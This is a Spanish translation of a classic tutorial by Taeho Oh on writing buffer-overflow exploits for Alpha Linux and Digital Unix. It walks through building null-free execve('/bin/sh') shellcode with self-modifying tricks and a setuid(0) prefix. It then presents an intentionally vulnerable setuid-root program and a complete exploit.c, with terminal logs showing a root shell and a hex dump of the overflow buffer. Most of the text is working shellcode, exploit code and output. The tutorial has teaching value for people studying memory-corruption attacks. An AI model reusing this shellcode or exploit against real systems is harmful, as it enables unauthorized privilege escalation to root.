*/ translated by honoriak thz to Taeho Oh for letting me translate and publish this text */ Escrito por Taeho Oh ( ohhara@postech.edu ) ---------------------------------------------------------------------------- Taeho Oh ( ohhara@postech.edu ) http://postech.edu/~ohhara PLUS ( Postech Laboratory for Unix Security ) http://postech.edu/plus PosLUG ( Postech Linux User Group ) http://postech.edu/group/poslug ---------------------------------------------------------------------------- 1. Introduccion Hay un gran numero de codigos de exploits basados en buffer overflow. Aunque, casi todos los codigos funcionan bien solo en linux x86. Este manual intenta explicar como 'explotar' el mismo bug en alpha linux. 2. Que tienes que conocer antes de empezar? Tienes que conocer asm, lenguaje C y linux. Desde luego, tienes que saber que es un buffer overflow. Puedes obtener algo de info sobre los buffers overflows en phrack 49-14 (Smashing The Stack For Fun And Porfit por Aleph1). Es un fabuloso manual de buffer overflows y te recomiendo su lectura antes de leer este. 3. Los registros en un alpha linux Tienes que saber algunos registros de alpha para hacer un shellcode. :) Todos los registros tienen 64 bits. Registros de alpha ---------------------------------------------------------------------------- $0 v0 $1 t0 $2 t1 $3 t2 $4 t3 $5 t4 $6 t5 $7 t6 $8 t7 $9 s0 $10 s1 $11 s2 $12 s3 $13 s4 $14 s5 $15 fp $16 a0 $17 a1 $18 a2 $19 a3 $20 a4 $21 a5 $22 t8 $23 t9 $24 t10 $25 t11 $26 ra $27 t12 $28 at $29 gp $30 sp $31 zero $32 pc $33 vfp ---------------------------------------------------------------------------- 4. Hacer un shellcode simple Ahora, haras un shellcode simple. No necesitas el caracter '\0' por ahora. Porque puedes modificar y borrar el caracter '\0' despues. shellcodeasm.c ---------------------------------------------------------------------------- #include ; main() { char *name[2]; name[0]="/bin/sh"; name[1]=NULL; execve(name[0],name,NULL); } ---------------------------------------------------------------------------- compilar y desensamblar ---------------------------------------------------------------------------- [ ohhara@ohhara ~ ] {1} $ gcc -o shellcodeasm -static shellcodeasm.c [ ohhara@ohhara ~ ] {2} $ gdb shellcodeasm GNU gdb 4.17.0.4 with Linux/x86 hardware watchpoint and FPU support Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "alpha-redhat-linux"... (gdb) disassemble main Dump of assembler code for function main: 0x1200001e8 (main): ldah gp,18(t12) 0x1200001ec (main+4): lda gp,30704(gp) 0x1200001f0 (main+8): lda sp,-32(sp) 0x1200001f4 (main+12): stq ra,0(sp) 0x1200001f8 (main+16): stq fp,8(sp) 0x1200001fc (main+20): mov sp,fp 0x120000200 (main+24): ldq t0,-30952(gp) 0x120000204 (main+28): stq t0,16(fp) 0x120000208 (main+32): stq zero,24(fp) 0x12000020c (main+36): ldq a0,16(fp) 0x120000210 (main+40): addq fp,0x10,a1 0x120000214 (main+44): clr a2 0x120000218 (main+48): ldq t12,-32456(gp) 0x12000021c (main+52): jsr ra,(t12),0x120007180 (__execve) 0x120000220 (main+56): ldah gp,18(ra) 0x120000224 (main+60): lda gp,30648(gp) 0x120000228 (main+64): mov fp,sp 0x12000022c (main+68): ldq ra,0(sp) 0x120000230 (main+72): ldq fp,8(sp) 0x120000234 (main+76): addq sp,0x20,sp 0x120000238 (main+80): ret zero,(ra),0x1 End of assembler dump. (gdb) disassemble execve Dump of assembler code for function __execve: 0x120007180 (__execve): lda v0,59(zero) 0x120007184 (__execve+4): callsys 0x120007188 (__execve+8): bne a3,0x120007190 (__execve+16) 0x12000718c (__execve+12): ret zero,(ra),0x1 0x120007190 (__execve+16): br gp,0x120007194 (__execve+20) 0x120007194 (__execve+20): ldah gp,18(gp) 0x120007198 (__execve+24): lda gp,2116(gp) 0x12000719c (__execve+28): ldq t12,-31592(gp) 0x1200071a0 (__execve+32): jmp zero,(t12),0x120007738 (__syscall_error) End of assembler dump. (gdb) ---------------------------------------------------------------------------- Ahora, conoces la condicion para ejecutar "/bin/sh". Para ejecutar "/bin/sh" ---------------------------------------------------------------------------- a0($16) = La direccion de "/bin/sh\0 a1($17) = La direccion de la direccion de "/bin/sh\0 a2($18) = 0 v0($0) = 59 callsys ---------------------------------------------------------------------------- Con esta informacion, puedes hacer la shellcode facilmente. testsc1.c ---------------------------------------------------------------------------- char shellcode[]= "\x30\x15\xd9\x43" /* subq $30,200,$16 */ "\x31\x15\xd8\x43" /* subq $30,192,$17 */ "\x12\x04\xff\x47" /* clr $18 */ "\x40\xff\x1e\xb6" /* stq $16,-192($30) */ "\x48\xff\xfe\xb7" /* stq $31,-184($30) */ "\x68\x00\x7f\x26" /* ldah $19,0x0068($31) */ "\x2f\x73\x73\x22" /* lda $19,0x732f($19) */ "\x3c\xff\x7e\xb2" /* stl $19,-196($30) */ "\x69\x6e\x7f\x26" /* ldah $19,0x6e69($31) */ "\x2f\x62\x73\x22" /* lda $19,0x622f($19) */ "\x38\xff\x7e\xb2" /* stl $19,-200($30) */ "\x3b\x00\x1f\x20" /* lda $0,59($31) */ "\x83\x00\x00\x00"; /* callsys */ typedef void (*F)(); main() { F fp; fp=(F)(&shellcode); fp(); } ---------------------------------------------------------------------------- A lo mejor te asusta este codigo. No te preocupes. Hay una linea que explica cada linea. :) testsc1.c shellcode explicacion linea por linea ---------------------------------------------------------------------------- char shellcode[]= "\x30\x15\xd9\x43" /* subq $30,200,$16 */ /* $16 = $30 - 200 */ /* $30 es el puntero de la pila. Apunta a "/bin/sh\0", */ /* el shellcode necesita espacio de memoria libre. $30 -200 debe */ /* estar libre. :) la cadena de caracteres "/bin/sh\0" debe estar */ /* almacenada en la direccion $30 - 200. Para ejecutar "/bin/sh", */ /* $16 tiene que apuntar a "/bin/sh\0" */ /* La 'q' de la 'subq' significa 64 bit. */ "\x31\x15\xd8\x43" /* subq $30,192,$17 */ /* $17 = $30 - 192 */ /* Para ejecutar "/bin/sh", $17 tiene que apuntar a la */ /* direccion de "/bin/sh\0". La direccion de "/bin/sh\0" */ /* sera almacenada en la direccion $30 - 192. */ "\x12\x04\xff\x47" /* clr $18 */ /* Borrar el registro $18. Para ejecutar "/bin/sh" el registro $18 */ /* debe ser 0. */ "\x40\xff\x1e\xb6" /* stq $16,-192($30) */ /* Almacena la direccion de "/bin/sh\0" en la direccion $30 - 192 */ "\x48\xff\xfe\xb7" /* stq $31,-184($30) */ /* Hace 0 a la direccion $30 - 184 */ "\x68\x00\x7f\x26" /* ldah $19,0x0068($31) */ /* $19 = 0x00680000 */ /* $31 es siempre 0 */ "\x2f\x73\x73\x22" /* lda $19,0x732f($19) */ /* $19 = 0x0068732f */ /* $19 = "/sh\0" */ /* Porque alpha es little endian. */ "\x3c\xff\x7e\xb2" /* stl $19,-196($30) */ /* Almacena $19 en la direccion $30 - 196 */ /* $30 - 196 = "/sh\0" */ /* La 'l' de la 'stl' significa 32 bit */ "\x69\x6e\x7f\x26" /* ldah $19,0x6e69($31) */ /* $19 = 0x6e690000 */ "\x2f\x62\x73\x22" /* lda $19,0x622f($19) */ /* $19 = 0x6e69622f */ /* $19 = "/bin" */ "\x38\xff\x7e\xb2" /* stl $19,-200($30) */ /* Almacena $19 en la direccion $30 - 200 */ /* $30 - 200 = "/bin" */ "\x3b\x00\x1f\x20" /* lda $0,59($31) */ /* $0 = 59 */ /* Para ejecutar "/bin/sh" $0 debe ser 59 */ "\x83\x00\x00\x00"; /* callsys */ /* Llamada al sistema */ /* Ejecutar "/bin/sh" */ ---------------------------------------------------------------------------- compilar y ejecutar testsc1.c ---------------------------------------------------------------------------- [ ohhara@ohhara ~ ] {1} $ gcc testsc1.c -o testsc1 [ ohhara@ohhara ~ ] {2} $ ./testsc1 bash$ ---------------------------------------------------------------------------- Ahora, tienes una shellcode de alpha linux. Aunque, no puedes usarla para 'explotar' programas vulnerables. Porque la shellcode tiene muchos caracteres '\0'. Tienes que borrar todos los '\0' para usar en exploits de buffer overflow. 5. Intentando borrar los '\0' en el shellcode Puedes borrar los '\0' cambiando las instrucciones a otras instrucciones que realicen el mismo trabajo. borrar caracteres '\0' ---------------------------------------------------------------------------- de "\x68\x00\x7f\x26" /* ldah $19,0x0068($31) */ "\x2f\x73\x73\x22" /* lda $19,0x732f($19) */ a "\x98\xff\x7f\x26" /* ldah $19,0xff98($31) */ "\xd0\x8c\x73\x22" /* lda $19,0x8cd0($19) */ "\x13\x05\xf3\x47" /* ornot $31,$19,$19 */ ---------------------------------------------------------------------------- Un '\0' ha sido borrado. ---------------------------------------------------------------------------- de "\x3b\x00\x1f\x20" /* lda $0,59($31) */ a "\x13\x94\xe7\x43" /* addq $31,60,$19 */ "\x20\x35\x60\x42" /* subq $19,1,$0 */ ---------------------------------------------------------------------------- Dos '\0' han sido borrados. shellcode mejorado ---------------------------------------------------------------------------- char shellcode[]= "\x30\x15\xd9\x43" /* subq $30,200,$16 */ "\x31\x15\xd8\x43" /* subq $30,192,$17 */ "\x12\x04\xff\x47" /* clr $18 */ "\x40\xff\x1e\xb6" /* stq $16,-192($30) */ "\x48\xff\xfe\xb7" /* stq $31,-184($30) */ "\x98\xff\x7f\x26" /* ldah $19,0xff98($31) */ "\xd0\x8c\x73\x22" /* lda $19,0x8cd0($19) */ "\x13\x05\xf3\x47" /* ornot $31,$19,$19 */ "\x3c\xff\x7e\xb2" /* stl $19,-196($30) */ "\x69\x6e\x7f\x26" /* ldah $19,0x6e69($31) */ "\x2f\x62\x73\x22" /* lda $19,0x622f($19) */ "\x38\xff\x7e\xb2" /* stl $19,-200($30) */ "\x13\x94\xe7\x43" /* addq $31,60,$19 */ "\x20\x35\x60\x42" /* subq $19,1,$0 */ "\x83\x00\x00\x00"; /* callsys */ ---------------------------------------------------------------------------- compilar y ejecutar testsc2.c ---------------------------------------------------------------------------- [ ohhara@ohhara ~ ] {1} $ gcc testsc2.c -o testsc2 [ ohhara@ohhara ~ ] {2} $ ./testsc2 bash$ ---------------------------------------------------------------------------- Ahora solo tienes que borrar una instruccion. Pero esta es dificil de borrar. Porque la instruccion de llamada al sistema debe de ser usada para ejecutar "/bin/sh" y la llamada al sistema contiene tres caracteres '\0'. Tienes que insertar el codigo que modifica el shellcode por si mismo para usar la instruccion de llamada al sistema. 6. Intentando borrar TODOS los caracteres '\0' en el shellcode Tienes que borrar el '\0' de la instruccion de llamada al sistema. final shellcode ---------------------------------------------------------------------------- char shellcode[]= "\x30\x15\xd9\x43" /* subq $30,200,$16 */ /* $16 = $30 - 200 */ /* $16 debe de tener la direccion del shellcode. Aunque, antes */ /* la instruccion bsr, $16 no puede tener la direccion. */ /* Esta instruccion almacena la direccion sin significado. */ /* Toda la instruccion antes de bsr no tiene significado. */ "\x11\x74\xf0\x47" /* bis $31,0x83,$17 */ /* $17 = 0 or 0x83 */ /* $17 = 0x83 */ "\x12\x94\x07\x42" /* addq $16,60,$18 */ "\xfc\xff\x32\xb2" /* stl $17,-4($18) */ /* $17("\x83\x00\x00\x00") esta alojado en la direccion $16 + 60 - 4 */ /* ( "\xff\xff\xff\xff" -) "\x83\x00\x00\x00" ) */ "\xff\x47\x3f\x26" /* ldah $17,0x47ff($31) */ "\x1f\x04\x31\x22" /* lda $17,0x041f($17) */ /* $17 = "\x1f\x04\xff\x47" */ /* "\x1f\x04\xff\x47" es la instruccion nop. */ "\xfc\xff\x30\xb2" /* stl $17,-4($16) */ /* cambia la instruccion "bsr $16, -28" a la instruccion */ /* nop para pasar a traves de la instruccion bsr. */ /* ( "\xf9\xff\x1f\xd2" -) "\x1f\x04\xff\x47" ) */ "\xf9\xff\x1f\xd2" /* bsr $16,-28 */ /* Salta a "bis $31,0x83,$17" y almacena la citada */ /* direccion en la $16. */ /* Despues del salto, esta instruccion sera cambiada a */ /* la instruccion nop. */ "\x30\x15\xd9\x43" /* subq $30,200,$16 */ "\x31\x15\xd8\x43" /* subq $30,192,$17 */ "\x12\x04\xff\x47" /* clr $18 */ "\x40\xff\x1e\xb6" /* stq $16,-192($30) */ "\x48\xff\xfe\xb7" /* stq $31,-184($30) */ "\x98\xff\x7f\x26" /* ldah $19,0xff98($31) */ "\xd0\x8c\x73\x22" /* lda $19,0x8cd0($19) */ "\x13\x05\xf3\x47" /* ornot $31,$19,$19 */ "\x3c\xff\x7e\xb2" /* stl $19,-196($30) */ "\x69\x6e\x7f\x26" /* ldah $19,0x6e69($31) */ "\x2f\x62\x73\x22" /* lda $19,0x622f($19) */ "\x38\xff\x7e\xb2" /* stl $19,-200($30) */ "\x13\x94\xe7\x43" /* addq $31,60,$19 */ "\x20\x35\x60\x42" /* subq $19,1,$0 */ "\xff\xff\xff\xff"; /* callsys ( disguised ) */ /* Esto sera cambiado a "\x83\x00\x00\x00" */ ---------------------------------------------------------------------------- compilar y ejecutar testsc3.c ---------------------------------------------------------------------------- [ ohhara@ohhara ~ ] {1} $ gcc testsc3.c -o testsc3 [ ohhara@ohhara ~ ] {2} $ ./testsc3 bash$ ---------------------------------------------------------------------------- 7. Insertando el codigo para setuid(0) en el shellcode. Tu quizas no consigas shell de root con el shellcode anterior desbordando un programa vulnerable con setuid root. Tienes que insertar el codigo de setuid(0) en el shellcode. setuidasm.c ---------------------------------------------------------------------------- main() { setuid(0); } ---------------------------------------------------------------------------- compilar y desensamblar [ ohhara@ohhara ~ ] {1} $ gcc -o setuidasm -static setuidasm.c [ ohhara@ohhara ~ ] {2} $ gdb setuidasm GNU gdb 4.17.0.4 with Linux/x86 hardware watchpoint and FPU support Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "alpha-redhat-linux"... (gdb) disassemble main Dump of assembler code for function main: 0x1200001e8 (main): ldah gp,18(t12) 0x1200001ec (main+4): lda gp,30696(gp) 0x1200001f0 (main+8): lda sp,-16(sp) 0x1200001f4 (main+12): stq ra,0(sp) 0x1200001f8 (main+16): stq fp,8(sp) 0x1200001fc (main+20): mov sp,fp 0x120000200 (main+24): clr a0 0x120000204 (main+28): ldq t12,-31056(gp) 0x120000208 (main+32): jsr ra,(t12),0x120007180 (__setuid) 0x12000020c (main+36): ldah gp,18(ra) 0x120000210 (main+40): lda gp,30660(gp) 0x120000214 (main+44): mov fp,sp 0x120000218 (main+48): ldq ra,0(sp) 0x12000021c (main+52): ldq fp,8(sp) 0x120000220 (main+56): addq sp,0x10,sp 0x120000224 (main+60): ret zero,(ra),0x1 End of assembler dump. (gdb) disassemble setuid Dump of assembler code for function __setuid: 0x120007180 (__setuid): lda v0,23(zero) 0x120007184 (__setuid+4): callsys 0x120007188 (__setuid+8): bne a3,0x120007190 (__setuid+16) 0x12000718c (__setuid+12): ret zero,(ra),0x1 0x120007190 (__setuid+16): br gp,0x120007194 (__setuid+20) 0x120007194 (__setuid+20): ldah gp,18(gp) 0x120007198 (__setuid+24): lda gp,2108(gp) 0x12000719c (__setuid+28): ldq t12,-31600(gp) 0x1200071a0 (__setuid+32): jmp zero,(t12),0x120007738 (__syscall_error) End of assembler dump. (gdb) ---------------------------------------------------------------------------- Ahora, tienes que conocer la condicion para setuid(0). Para setuid(0) ---------------------------------------------------------------------------- a0($16) = 0 v0($0) = 23 callsys ---------------------------------------------------------------------------- Esto contiene la instruccion de llamada al sistema. Asi que tienes que borrar los '\0' del codigo de setuid(0), tambien. testsc4.c ---------------------------------------------------------------------------- char shellcode[]= "\x30\x15\xd9\x43" /* subq $30,200,$16 */ "\x11\x74\xf0\x47" /* bis $31,0x83,$17 */ "\x12\x14\x02\x42" /* addq $16,16,$18 */ "\xfc\xff\x32\xb2" /* stl $17,-4($18) */ "\x12\x94\x09\x42" /* addq $16,76,$18 */ "\xfc\xff\x32\xb2" /* stl $17,-4($18) */ "\xff\x47\x3f\x26" /* ldah $17,0x47ff($31) */ "\x1f\x04\x31\x22" /* lda $17,0x041f($17) */ "\xfc\xff\x30\xb2" /* stl $17,-4($16) */ "\xf7\xff\x1f\xd2" /* bsr $16,-32 */ "\x10\x04\xff\x47" /* clr $16 */ "\x11\x14\xe3\x43" /* addq $31,24,$17 */ "\x20\x35\x20\x42" /* subq $17,1,$0 */ "\xff\xff\xff\xff" /* callsys ( disguised ) */ "\x30\x15\xd9\x43" /* subq $30,200,$16 */ "\x31\x15\xd8\x43" /* subq $30,192,$17 */ "\x12\x04\xff\x47" /* clr $18 */ "\x40\xff\x1e\xb6" /* stq $16,-192($30) */ "\x48\xff\xfe\xb7" /* stq $31,-184($30) */ "\x98\xff\x7f\x26" /* ldah $19,0xff98($31) */ "\xd0\x8c\x73\x22" /* lda $19,0x8cd0($19) */ "\x13\x05\xf3\x47" /* ornot $31,$19,$19 */ "\x3c\xff\x7e\xb2" /* stl $19,-196($30) */ "\x69\x6e\x7f\x26" /* ldah $19,0x6e69($31) */ "\x2f\x62\x73\x22" /* lda $19,0x622f($19) */ "\x38\xff\x7e\xb2" /* stl $19,-200($30) */ "\x13\x94\xe7\x43" /* addq $31,60,$19 */ "\x20\x35\x60\x42" /* subq $19,1,$0 */ "\xff\xff\xff\xff"; /* callsys ( disguised ) */ typedef void (*F)(); main() { F fp; fp=(F)(&shellcode); fp(); } ---------------------------------------------------------------------------- Si lees este manual, reconeceras lo que hace testsc4.c :) compilar y ejecutar testsc4.c ---------------------------------------------------------------------------- [ ohhara@ohhara ~ ] {1} $ gcc testsc4.c -o testsc4 [ ohhara@ohhara ~ ] {2} $ ./testsc4 bash$ ---------------------------------------------------------------------------- 8. 'Explotando' un programa vulnerable con setuid root Puedes 'explotar' un programa vulnerable muy clasico en alpha linux. Este es un ejemplo. vulnerable.c ---------------------------------------------------------------------------- #include(stdio.h) #include(string.h) void vulfunc(char *buf) { char localbuf[1024]; strcpy(localbuf+1,buf); } main(int argc,char **argv) { if(argc)1) vulfunc(argv[1]); } ---------------------------------------------------------------------------- No puedes cambiar la direccion de retorno de la funcion vulfunc. Cuando intentas desbordar la localbuf de vulfunc, puedes cambiar la direccion de retorno del main. (Esto es similar en la pila de sparc. ) Porque la localbuf es almacenada despues de la direccion de retorno de vulfunc. En intel x86 la localbuf es almacenada antes de la direccion de retorno de vulfunc. Desbordando localbuf en intel x86, la localbuf puede cambiar la direccion de retorno de la funcion vulfunc. Aunque, en alpha, la localbuf no puede cambiar la direccion de retorno de la funcion vulfunc y en cambio puedes cambiar la direccion de retorno de la funcion main. Para ejecutar la instruccion, el codigo debe estar bien alineado. Por ejemplo, la instruccion puede estar alojada en 0x120000000 y 0x120000004 y no puede estar localizada en 0x120000001, 0x120000002 y 0x120000003. (salto de 4) La direccion en alpha es de 64 bits. En casi todos los casos, la direccion de la pila toma un aspecto como este 0x000000011fffff24. La direccion tiene muchos '\0'. Asi que, no puedes insertar muchas direcciones de retorno en el buffer. Debes insertar solo una. Asi que debes saber la localizacion exacta de la direccion de retorno. Esto no es dificil de encontrar. Porque la localizacion de la direccion de retorno es decidida en el momento de compilacion. exploit.c ---------------------------------------------------------------------------- #include(stdio.h) #include(string.h) #define OFFSET 0 #define ALIGN 3 /* 0, 1, 2, 3 */ #define RET_POSITION 1028 /* 0, 4, 8, 12, . . . */ #define NOP "\x1f\x04\xff\x47" char shellcode[]= "\x30\x15\xd9\x43" /* subq $30,200,$16 */ "\x11\x74\xf0\x47" /* bis $31,0x83,$17 */ "\x12\x14\x02\x42" /* addq $16,16,$18 */ "\xfc\xff\x32\xb2" /* stl $17,-4($18) */ "\x12\x94\x09\x42" /* addq $16,76,$18 */ "\xfc\xff\x32\xb2" /* stl $17,-4($18) */ "\xff\x47\x3f\x26" /* ldah $17,0x47ff($31) */ "\x1f\x04\x31\x22" /* lda $17,0x041f($17) */ "\xfc\xff\x30\xb2" /* stl $17,-4($16) */ "\xf7\xff\x1f\xd2" /* bsr $16,-32 */ "\x10\x04\xff\x47" /* clr $16 */ "\x11\x14\xe3\x43" /* addq $31,24,$17 */ "\x20\x35\x20\x42" /* subq $17,1,$0 */ "\xff\xff\xff\xff" /* callsys ( disguised ) */ "\x30\x15\xd9\x43" /* subq $30,200,$16 */ "\x31\x15\xd8\x43" /* subq $30,192,$17 */ "\x12\x04\xff\x47" /* clr $18 */ "\x40\xff\x1e\xb6" /* stq $16,-192($30) */ "\x48\xff\xfe\xb7" /* stq $31,-184($30) */ "\x98\xff\x7f\x26" /* ldah $19,0xff98($31) */ "\xd0\x8c\x73\x22" /* lda $19,0x8cd0($19) */ "\x13\x05\xf3\x47" /* ornot $31,$19,$19 */ "\x3c\xff\x7e\xb2" /* stl $19,-196($30) */ "\x69\x6e\x7f\x26" /* ldah $19,0x6e69($31) */ "\x2f\x62\x73\x22" /* lda $19,0x622f($19) */ "\x38\xff\x7e\xb2" /* stl $19,-200($30) */ "\x13\x94\xe7\x43" /* addq $31,60,$19 */ "\x20\x35\x60\x42" /* subq $19,1,$0 */ "\xff\xff\xff\xff"; /* callsys ( disguised ) */ unsigned long get_sp(void) { __asm__("bis $31,$30,$0"); } int main(int argc,char **argv) { char buff[RET_POSITION+8+ALIGN+1],*ptr; char *nop; int offset=OFFSET,bsize=RET_POSITION+8+ALIGN+1; unsigned long sp,addr; int i; if(argc)1) offset=atoi(argv[1]); nop=NOP; for(i=0;i(bsize;i++) buff[i]='a'; for(i=0;i(bsize;i++) buff[i+ALIGN]=nop[i%4]; sp=get_sp(); addr=sp-offset; ptr=buff+bsize-strlen(shellcode)-8-1; for(i=0;i(strlen(shellcode);i++) *(ptr++)=shellcode[i]; buff[RET_POSITION+ALIGN]=(addr&0x00000000000000ff); buff[RET_POSITION+ALIGN+1]=(addr&0x000000000000ff00)))8; buff[RET_POSITION+ALIGN+2]=(addr&0x0000000000ff0000)))16; buff[RET_POSITION+ALIGN+3]=(addr&0x00000000ff000000)))24; buff[RET_POSITION+ALIGN+4]=(addr&0x000000ff00000000)))32; buff[RET_POSITION+ALIGN+5]=(addr&0x0000ff0000000000)))40; buff[RET_POSITION+ALIGN+6]=(addr&0x00ff000000000000)))48; buff[RET_POSITION+ALIGN+7]=(addr&0xff00000000000000)))56; buff[bsize-1]='\0'; printf("Jump to 0x%016x\n",addr); execl("./vulnerable","vulnerable",buff,NULL); } ---------------------------------------------------------------------------- 'explotar' el programa vulnerable en alpha linux [ ohhara@ohhara ~ ] {1} $ uname -a Linux ohhara.postech.ac.kr 2.0.35 #11 Mon Oct 19 22:58:15 EDT 1998 alpha unknow [ ohhara@ohhara ~ ] {2} $ ls -l vulnerable -rwsr-xr-x 1 root root 13906 Nov 13 14:55 vulnerable* [ ohhara@ohhara ~ ] {3} $ ls -l exploit -rwxrwxr-x 1 ohhara ohhara 15541 Nov 13 18:22 exploit* [ ohhara@ohhara ~ ] {4} $ ./exploit Jump to 0x000000001ffff6c8 Illegal instruction [ ohhara@ohhara ~ ] {5} $ ./exploit 400 Jump to 0x000000001ffff530 bash# whoami root bash# ---------------------------------------------------------------------------- 'explotar' el programa vulnerable en digital unix (con los mismo ficheros de fuentes) ---------------------------------------------------------------------------- [ ohhara@ohhara ~ ] {1} $ uname -a OSF1 monsky.postech.ac.kr V4.0 464 alpha [ ohhara@ohhara ~ ] {2} $ ls -l vulnerable -rwsr-xr-x 1 root system 24576 Nov 13 20:31 vulnerable* [ ohhara@ohhara ~ ] {3} $ ls -l exploit -rwxr-xr-x 1 ohhara system 24576 Nov 13 20:31 exploit* [ ohhara@ohhara ~ ] {4} $ ./exploit Jump to 0x000000001ffff030 # whoami root # ---------------------------------------------------------------------------- los datos del buffer overflow ---------------------------------------------------------------------------- 0 61 61 61 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f aaa...G...G...G. 16 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G. 32 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G. 48 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G. 64 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G. 80 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G. 96 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G. 112 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G. 128 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G. 144 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G. 160 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G. 176 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G. 192 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G. 208 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G. 224 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G. 240 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G. 256 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G. 272 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G. 288 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G. 304 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G. 320 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G. 336 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G. 352 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G. 368 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G. 384 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G. 400 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G. 416 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G. 432 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G. 448 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G. 464 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G. 480 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G. 496 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G. 512 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G. 528 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G. 544 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G. 560 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G. 576 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G. 592 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G. 608 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G. 624 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G. 640 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G. 656 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G. 672 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G. 688 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G. 704 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G. 720 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G. 736 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G. 752 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G. 768 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G. 784 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G. 800 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G. 816 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G. 832 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G. 848 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G. 864 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G. 880 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G. 896 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f ..G...G...G...G. 912 04 ff 47 30 15 d9 43 11 74 f0 47 12 14 02 42 fc ..G0..C.t.G...B. 928 ff 32 b2 12 94 09 42 fc ff 32 b2 ff 47 3f 26 1f .2....B..2..G?&. 944 04 31 22 fc ff 30 b2 f7 ff 1f d2 10 04 ff 47 11 .1"..0........G. 960 14 e3 43 20 35 20 42 ff ff ff ff 30 15 d9 43 31 ..C 